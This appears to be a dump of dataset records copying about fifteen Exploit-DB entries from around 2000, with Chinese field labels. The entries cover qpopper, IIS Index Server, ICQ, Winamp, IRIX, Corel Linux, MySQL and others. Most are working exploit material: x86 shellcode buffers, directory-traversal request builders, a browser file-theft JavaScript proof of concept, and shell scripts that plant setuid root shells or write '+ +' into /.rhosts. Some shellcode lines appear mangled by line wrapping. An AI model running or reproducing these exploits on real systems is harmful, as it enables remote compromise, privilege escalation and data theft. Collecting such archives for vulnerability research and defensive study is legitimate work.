QLWD/code_shield huggingface dataset:
标题: Qualcomm qpopper 3.0 - 'LIST' Remote Buffer Overflow EDB-ID: 19729 CVE: 2000-0096 类型: REMOTE 平台: LINUX 发布日期: 2000-01-10 漏洞利用脚本: // source: https://www.securityfocus.com/bid/948/info

A remotely exploitable buffer-overflow vulnerability affects Qualcomm's 'qpopper' daemon. This issue allows users already in possession of a username and password for a POP account to compromise the server running the qpopper daemon.

The problem lies in the code that handles the 'LIST' command available to logged-in users. By providing an overly long argument, an attacker may cause a buffer to overflow. As a result, the attacker can gain access with the user ID (UID) of the user whose account is being used for the attack and with the group ID (GID) mail.

This will allow remote attackers to access the server itself and possibly (depending on how the computer is configured) to read other users' mail via the GID mail. 

/*
 * !Hispahack Research Team  
 * http://hispahack.ccc.de
 *
 * By Zhodiac <zhodiac@softhome.net>
 *
 * Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53)
 * Overflow at pop_list()->pop_msg()
 *
 * Tested: 3.0beta28  offset=0
 *         3.0beta26  offset=0
 *         3.0beta25  offset=0
 *
 * #include <standar/disclaimer.h>
 *
 * This code is dedicated to my love [CrAsH]] and to all the people who
 * were raided in Spain in the last few days.
 *
 * Madrid 10/1/2000
 *
 */

#include <stdio.h>
  
#define BUFFERSIZE 1004
#define NOP 0x90
#define OFFSET 0xbfffd9c4
  
char shellcode[]=  
 "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89"
 "\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89"
 "\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh";

  
void usage(char *progname) {
 fprintf(stderr,"Usage: (%s <login> <password> [<offset>]; cat) | nc <target> 110",progname);
 exit(1);
} 

int main(int argc, char **argv) {
char *ptr,buffer[BUFFERSIZE];
unsigned long *long_ptr,offset=OFFSET;
int aux;
  
 fprintf(stderr,"\n!Hispahack Research Team (http://hispahack.ccc.de)\n");
 fprintf(stderr,"Qpopper xploit by Zhodiac <zhodiac@softhome.net>\n\n");

 if (argc<3) usage(argv[0]);

 if (argc==4) offset+=atol(argv[3]);

 ptr=buffer;
 memset(ptr,0,sizeof(buffer));
 memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16);
 ptr+=sizeof(buffer)-strlen(shellcode)-16;
 memcpy(ptr,shellcode,strlen(shellcode));
 ptr+=strlen(shellcode);
 long_ptr=(unsigned long*)ptr;
 for(aux=0;aux<4;aux++) *(long_ptr++)=offset;
 ptr=(char *)long_ptr;
 *ptr='\0';

 fprintf(stderr,"Buffer size: %d\n",strlen(buffer));
 fprintf(stderr,"Offset: 0x%lx\n\n",offset);
 
 printf("USER %s\n",argv[1]);
 sleep(1);
 printf("PASS %s\n",argv[2]); 
 sleep(1);
 printf("LIST 1 %s\n",buffer);
 sleep(1); 
 printf("uname -a; id\n");
 
 return(0);
} URL: https://www.exploit-db.com/exploits/19729
标题: Microsoft Index Server 2.0 / Indexing Service (Windows 2000) - Directory Traversal EDB-ID: 19731 CVE: 2000-0097 类型: REMOTE 平台: WINDOWS 发布日期: 2000-01-26 漏洞利用脚本: // source: https://www.securityfocus.com/bid/950/info

Index Server 2.0 is a utility included in the NT 4.0 Option Pack. The functionality provided by Index Service has been built into Windows 2000 as Indexing Services.

When combined with IIS, Index Server and Indexing Services include the ability to view web search results in their original context. It will generate an html page showing the query terms in a short excerpt of the surrounding text for each page returned, along with a link to that page. This is known as "Hit Highlighting". To do this, it supports the .htw filetype which is handled by the webhits.dll ISAPI application. This dll will allow the use of the '../' directory traversal string in the selection of a template file. This will allow for remote, unauthenticated viewing of any file on the system whose location is known by the attacker.

The original patch released for this issue still discloses 'include' file types. 'include' files contain various data which assist in the execution of program files.

/* 
   fredrik.widlund@defcom-sec.com 
   
   example: iiscat ../../../../boot.ini
 */

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char request[2048], *request_p, *file_read, *file_valid = "/default.htm";
  int file_buf_size = 250;
  
  if (!((argc == 2 && argv[1] && strlen(argv[1]) < 1024) || 
 (argc == 3 && argv[1] && argv[2] && strlen(argv[1]) <= file_buf_size && strlen(argv[2]) < 1024)))
    {
      fprintf(stderr, "usage: iiscat file_to_read [valid_file]\n");
      exit(1);
    }
  
  file_read = argv[1];
  if (argc == 3)
    file_valid = argv[2];

  sprintf(request, "GET %s", file_valid);
  request_p = request + strlen(request);

  file_buf_size -= strlen(file_valid);
  while(file_buf_size)
    {
      strcpy(request_p, "%20");
      request_p += 3;
      file_buf_size--;
    }

  sprintf(request_p, ".htw?CiWebHitsFile=%s&CiRestriction=none&CiHiliteType=Full HTTP/1.0\n\n", file_read);
  puts(request);

  exit(0);
} URL: https://www.exploit-db.com/exploits/19731
标题: Mirabilis ICQ 0.99b 1.1.1.1/3.19 - Remote Buffer Overflow EDB-ID: 19724 CVE: 2000-0046 类型: REMOTE 平台: WINDOWS 发布日期: 2000-01-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/929/info

ICQ is an individual to individual chat network which has clients installed on millions of computers around the world. It is, by far, the most widely used and is vulnerable to a remote buffer overflow. When the Mirabilis ICQ client parses an url recieved from another user _inside of a message_, it does not perform bounds checking on the length of the url. Because of this, it is possible to overwrite the EIP ("instruction pointer", or return address, that was pushed onto the stack when the offending function was first called) and execute arbitrary and possibly malicious code stuffed inside the oversized URL on the target host once the url is clicked on. 

Sending the following URL (with no line breaks) in a regular message to a user will cause their ICQ to crash (just a basic proof of concept, no real malicious exploit code included here) if they click on it:

http://www.yahoo.com/sites.asp?^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã ^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^ Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã ^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^ Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã ^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^ Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã ^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^ Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã ^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^ Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã ^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã!!!!Â·P !^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã URL: https://www.exploit-db.com/exploits/19724
标题: Nosque Workshop MsgCore 1.9 - Denial of Service EDB-ID: 19725 CVE: 2000-0075 类型: DOS 平台: WINDOWS 发布日期: 2000-01-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/930/info

There is a denial of service condition in Nosque Workshop's MsgCore SMTP server. The problem lies in memory used to store server input not being deallocated and eventually exhausted, causing the target NT host to freeze requiring a reboot. If a smtp client (or user sending input manually) sends multiple sequences of "HELO/ MAIL FROM/ RCPT TO / DATA" in a single connection, the memory allocated to store all of those values will not be freed and the target will stop functioning once memory runs out. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19725.zip URL: https://www.exploit-db.com/exploits/19725
标题: Allaire ColdFusion Server 4.0/4.0.1 - 'CFCACHE' Information Disclosure EDB-ID: 19712 CVE: 2000-0057 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-01-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/917/info

ColdFusion 4.x includes a function called CFCACHE. This function improves server performance by caching the HTML output of processed CFM pages. 

When the CFCACHE tag is used in a CFM page, it creates temporary files. Some of these files are .tmp files, which contain the actual HTML output. It also creates a cfcache.map file, which contains pointers to the .tmp files including absolute pathnames, timestamps, and other URL information. This information could be potentially harmful if exposed to the public. These files are all placed in the same web-accessible directory as the CFM file itself, and can be remotely accessed via an explicit URL.

For any cfm file, request the corresponding cfcache.map file. 

For example, for the file:
http ://server/path/info.cfm
request:
http ://server/path/cfcache.map

The returned file will look something like this:

[info.cfm?product_id=9]
Mapping=C:\Inetpub\wwwroot\path\CFC155.tmp
SourceTimeStamp=10/06/1999 08:02:06 AM URL: https://www.exploit-db.com/exploits/19712
标题: RedHat 6.1 / IRIX 6.5.18 - 'lpd' Command Execution EDB-ID: 19722 CVE: 2000-1221 类型: REMOTE 平台: UNIX 发布日期: 2000-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/927/info

Multiple vulnerabilities have been discovered in lpd, shipped with various Linux and Unix distributions.

It has been reported that lpd fails to properly authenticate hostnames. This could allow an unauthenticated user to gain access to lpd services by supplying a spoofed hostname.

It is also possible for a local user to pass arguments to sendmail, through the vulnerable print daemon. This could allow an unauthorized user to execute commands with elevated privileges.

By exploiting multiple vulnerabilities in lpd, it may be possible for a remote attacker to gain root privileges on a target server.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19722.tgz URL: https://www.exploit-db.com/exploits/19722
标题: Ipswitch IMail 5.0.8/6.0/6.1 - IMonitor 'status.cgi' Denial of Service EDB-ID: 19711 CVE: 2000-0056 类型: DOS 平台: WINDOWS 发布日期: 2000-01-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/914/info

IMail includes a service called IMail Monitor which is used for local and remote performance measuring and diagnostics. It includes a small webserver operating on port 8181 to support web-based monitoring. One of the cgi scripts, status.cgi, is used to determine which services are currently running and create a web pafge to report this information. Multiple simultaneous requests for status.cgi will cause the software to crash, with a Dr. Watson error of "Invalid Memory Address".

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19711-1.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19711-2.zip URL: https://www.exploit-db.com/exploits/19711
标题: MySQL 3.22.27/3.22.29/3.23.8 - GRANT Global Password Changing EDB-ID: 19721 CVE: 2000-0045 类型: LOCAL 平台: MULTIPLE 发布日期: 2000-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/926/info


MySQL is a popular RDBMS used by many websites as a back-end. It is possible for users with GRANT access to change passwords for every user in the database (including the mysql superuser). MySQL also ships with a default "test" account which has GRANT privileges and is unpassworded, meaning anyone can connect to the db. These two problems combined can result in a total, remote (and probably anonymous) database compromise. The database can be compromised even if the test account is disabled (given a local user account with GRANT privs).

Exploit: Connect to mysql as any user with grant privileges for any table. The default test users will do nicely. If no databases has been created for the test user, do so. Then alter roots (MySQL's roots, not the real roots!) password with a GRANT. After the code below has been executed, the password of the MySQL superuser 'root' will be 'newpassword'.

> mysql -utest -p
Password:

mysql> CREATE DATABASE test_expl;
Query OK, 1 row affected (0.04 sec)

mysql> GRANT select ON test_expl.* TO root@localhost IDENTIFIED BY
+'newpassword';
Query OK, 0 rows affected (0.01 sec)

mysql> exit
Bye URL: https://www.exploit-db.com/exploits/19721
标题: Microsoft Internet Explorer 4.0/4.0.1/5.0/5.0.1/5.5 - preview Security Zone Settings Lag EDB-ID: 19719 CVE: 2000-0156 2000-0061 类型: REMOTE 平台: WINDOWS 发布日期: 2000-01-07 漏洞利用脚本: Microsoft Internet Explorer 4.0 for Windows 3.1/Windows 95,Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4,Internet Explorer 5.5 preview,Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0,Internet Explorer 5.0.1 Security Zone Settings Lag Vulnerability

source: https://www.securityfocus.com/bid/923/info

When a new document is loaded into an IE window, IE will not update the Security Zone settings for that window until the new document is completely loaded. This means that if a local document is loaded, and then a large remote document is loaded that has JavaScript at the very beginning, the JavaScript may load and execute before the Security Zone settings are updated. This could lead to remote and untrusted JavaScript running as local trusted code, with full access to local files, cookies, etc.


-----------------img2main.html---------------------------------------
<A HREF="img2.html" TARGET="victim">link</A>
<SCRIPT>
alert("Create a short text file C:\\test.txt and it will be read and shown in a message box");
a=window.open("file://c:/test.txt","victim");
setTimeout("document.links[0].click()",2000);
</SCRIPT>
---------------------------------------------------------------------

----------------img2.html--------------------------------------------
<HTML>
<IMG SRC="javascript:a=window.open('javascript:alert(\'Here is your file: \'+opener.document.body.innerText)');alert('Just an alert, but is necessary. Wait a little.')">
</HTML>
--------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/19719
标题: Solution Scripts Home Free 1.0 - 'search.cgi' Directory Traversal EDB-ID: 19713 CVE: 2000-0054 类型: REMOTE 平台: CGI 发布日期: 2000-01-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/921/info

Home Free is a suite of Perl cgi scripts that allow a website to support user contributions of various types. One of the scripts, search.cgi, accepts a parameter called letter which can be any text string. The supplied argument can contain the '../' string, which the script will process. This can be used to obtain directory listings and the first line of files outside of the intended web filesystem.


#!/usr/bin/perl
#
# Quick exploit of the Home Free ./search.cgi script, allows you to list
# directories on the host.
#
#

use IO::Socket;

if ($ARGV[0] eq "") { die "no argument\n"; }

$asoc = IO::Socket::INET->new(Proto     => "tcp",
                              PeerAddr  => "target.host.net",
                              PeerPort  => 80) ||
                     die "can't connect to host: $!";

select($asoc);
$| = 1;

print $asoc "GET /cgi-bin/search.cgi?letter=..\\..\\..\\..\\$ARGV[0]&start=1&perpage=all HTTP/1.0\n\n";

while(<$asoc>) {
             if ($_ =~ /.+HREF.+TD.+/) {
                     @parts = split("\"", $_);
                     $foo = $parts[1];
                     @parts = split("/", $foo);
                     print STDOUT $parts[3];
                     print STDOUT "\n";
             }
     }
close(ASOC); URL: https://www.exploit-db.com/exploits/19713
标题: Corel Linux OS 1.0 - get_it PATH EDB-ID: 19723 CVE: 2000-0048 类型: LOCAL 平台: LINUX 发布日期: 2000-01-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/928/info

A component of the "Corel Update" utility distributed with Corel's Linux OS is vulnerable to a local PATH vulnerability. The binary "get_it", which is stored in /usr/X11R6/bin, is setuid root installed by default on all Corel LinuxOS systems (it's part of their .deb package install/update utils). get_it relies on PATH to be valid when it calls 'cp' (without the full path), making it possible to spawn an arbitrary program (called 'cp') with inherited root privs by changing the first searched path to one in which a malicious cp lies. The consequences are immediate local root compromise.

CorelLinux:~$ id
uid=1001(tascon) gid=1001(tascon) groups=1001(tascon)
CorelLinux:~$ cat misu.c
#include <stdio.h>
#include <unistd.h>

main(argc,argv)
int argc;
char **argv;
{
if (argc==2);
setuid(atoi(argv[1]));
execlp("/bin/bash","/bin/bash",NULL);
}
CorelLinux:~$ cc -o misu misu.c
CorelLinux:~$ pwd
/home/tascon
CorelLinux:~$ cat cp
echo $1 $2 $3
/home/tascon/misu 0
CorelLinux:~$ export PATH=.:$PATH
CorelLinux:~$ get_it
/usr/X11R6/share/apps/get_it/html/largebanner.html /tmp/Get_It.0.a05872
CorelLinux:~# id
uid=0(root) gid=1001(tascon) groups=1001(tascon)
CorelLinux:~# exit
exit
/usr/X11R6/share/apps/get_it/html/smallbanner.html /tmp/Get_It.1.a05872
CorelLinux:~# id
uid=0(root) gid=1001(tascon) groups=1001(tascon) URL: https://www.exploit-db.com/exploits/19723
标题: NullSoft Winamp 2.10 - Playlist EDB-ID: 19720 CVE: 2000-0049 类型: DOS 平台: WINDOWS 发布日期: 2000-01-10 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/925/info

Winamp, a program for playing mp3 and other audio files, uses playlist files (*.pls) to store lists of files for playback. The code that reads these files has an unchecked buffer which can be overflowed to cause arbitrary code to be executed. If an entry longer than 580 bytes is specified in the file, EIP gets overwritten.

This vulnerability can only be exploited remotely by convincing someone to download the hostile playlist and load it into Winamp. IE5 will download .pls files without user confirmation if winamp is installed. 
*/

/* Stack based buffer overflow exploit for Winamp v2.10
 * Author Steve Fewer, 04-01-2k. Mail me at darkplan@oceanfree.net
 *
 * For a detailed description on the exploit see my advisory.
 *
 * Tested with Winamp v2.10 using Windows98 on an Intel
 * PII 400 with 128MB RAM
 *
 * http://indigo.ie/~lmf
 */

#include <stdio.h>

int main()
{

    printf("\n\n\t\t.......................................\n");
    printf("\t\t......Nullsoft Winamp 2.10 exploit.....\n");
    printf("\t\t.......................................\n");
    printf("\t\t.....Author: Steve Fewer, 04-01-2k.....\n");
    printf("\t\t.........http://indigo.ie/~lmf.........\n");
    printf("\t\t.......................................\n\n");

char buffer[640];
char eip[8] = "\xF7\xCF\xB9\xBF";
char sploit[256] = =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53
\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\=
xFA\x2E\xC6
\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\xD4\x76\xF7\xbF\x52\x8D\=
x45\xF4\x50
\xFF\x55\xF0\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x48\xC6\x45\xFD\x69\xC6\=
x45\xFE\x21
\xBA\x2E\x41\xF5\xBF\x52\x57\x8D\x55\xFC\x52\x52\x57\xFF\x55\xF8\x55\x8B\=
xEC\xBA\xFF
\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x50\xFF\x55\xFC";

FILE *file;

    for(int x=0;x<580;x++)
    {
    buffer[x] = 0x90;
    }

file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]\n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "\nNumberOfEntries=1");

fclose(file);
printf("\t     created file crAsh.pls loaded with the exploit.\n");
return 0;
} URL: https://www.exploit-db.com/exploits/19720
标题: Ascend CascadeView/UX 1.0 tftpd - Symbolic Link EDB-ID: 19707 CVE: 2000-0015 类型: LOCAL 平台: UNIX 发布日期: 1999-12-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/910/info

The tftpd bundled with CascadeView for Ascend's B-STDX 8000/9000 network devices creates a log in /tmp called tftpd_xfer_status.log. If /tmp/tftpd_xfer_status.log already exists as a symbolic link, tftpd will follow it and overwrite any data it points to (it runs as root). It is possible for an attacker to link the log file to a file like /.rhosts to compromise elevated privileges on the device. It should be made clear that since this is a network device vulnerability, the consequences of compromise could be much greater to the network the device is on as a whole than if it were a single regular host.

#!/bin/sh
#
# tftpserv.sh - Loneguard 07/03/99
#
# Buggy tftp server shipped with CascadeView B-STDX 8000/9000
#
rm /tmp/tftpd_xfer_status.log
ln -s /.rhosts /tmp/tftpd_xfer_status.log
echo KungFu > crazymonkey
( sleep 1 ; echo put crazymonkey ; sleep 1 ; echo quit ) | tftp 127.1
echo "+ +" > /.rhosts URL: https://www.exploit-db.com/exploits/19707
标题: SGI IRIX 6.2 - 'midikeys'/'soundplayer' Local Privilege Escalation EDB-ID: 19706 CVE: 2000-0013 类型: LOCAL 平台: IRIX 发布日期: 1999-12-31 漏洞利用脚本: #!/bin/sh
#source: https://www.securityfocus.com/bid/909/info
#
#SGI's Irix operating system ships with an X11 application called 'soundplayer' which is used to play .WAV files. It is not setuid root by itself, but can inherit root privileges if called by midikeys (which is setuid on some old IRIX systems). Soundplayer is vulnerable to an input validation problem. When saving a file to disk with soundplayer, if a semicolon is appended to the end of the "proper" or "real" filename input followed by a command to be executed (no spaces), the command will run with the privileges soundplayer has (elevated or not). It is possible to compromise root access locally through exploitation of this vulnerability if soundplayer is executed (then exploited..) through setuid midikeys.
#

#!/bin/sh
#
# Irix 6.x soundplayer xploit - Loneguard 20/02/99
#
# Good example of how bad coding in a non-setuid/priviledged process
# can offer up rewt
#
cat > /tmp/crazymonkey.c << 'EOF'
main() {
setuid(0);
system("cp /bin/csh /tmp/xsh;chmod 4755 /tmp/xsh");
}
EOF
cc -o /tmp/kungfoo crazymonkey.c
/usr/sbin/midikeys &
echo "You should now see the midikeys window, goto the menu that allows you to play sounds and load a wav. This will bring
up a soundplayer window. Save the wav as 'foo;/tmp/kungfoo' and go find a rewt shell in tmp" URL: https://www.exploit-db.com/exploits/19706
标题: BroadGun Software CamShot WebCam 2.5 - GET Buffer Overflow EDB-ID: 19702 CVE: 2000-0043 类型: DOS 平台: WINDOWS 发布日期: 1999-12-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/905/info

CamShot is a webserver designed to work in conjunction with computer video cameras. The software will crash, and possibly allow for execution of arbitrary code, if a GET request of more than 2000 bytes is received.

DoS attack:
GET [2000 chars] HTTP/1.1 URL: https://www.exploit-db.com/exploits/19702